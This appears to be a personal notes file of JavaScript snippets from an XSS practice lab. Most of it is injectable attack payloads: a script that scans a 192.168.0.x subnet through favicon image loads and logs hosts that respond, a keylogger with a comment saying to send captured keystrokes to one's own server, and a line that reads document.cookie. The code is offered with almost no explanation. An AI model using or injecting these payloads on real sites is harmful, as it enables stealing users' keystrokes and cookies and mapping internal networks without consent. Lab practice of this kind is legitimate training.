Javascript Tomfoolery

JavascriptTomfoolery.js

// Show hostname
window.location.hostname

// show cookie
document.cookie

// background color
document.body.style.backgroundColor = "red"

// IP and Port Scan with javascript - XSS Playground
 <script>
 for (let i = 0; i < 256; i++) { // This is looping from 0 to 255
  let ip = '192.168.0.' + i // Creates variable for forming IP
  // Creating an image element, if the resource can load, it logs to the /logs page.
  let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
  document.body.innerHTML += code // This is adding the image element to the webpage
 }
</script> 

// logging keystrokes with javascript - XSS Playground
 <script type="text/javascript">
 let l = ""; // Variable to store key-strokes in
 document.onkeypress = function (e) { // Event to listen for key presses
   l += e.key; // If user types, log it to the l variable
   console.log(l); // update this line to post to your own server
 }
</script>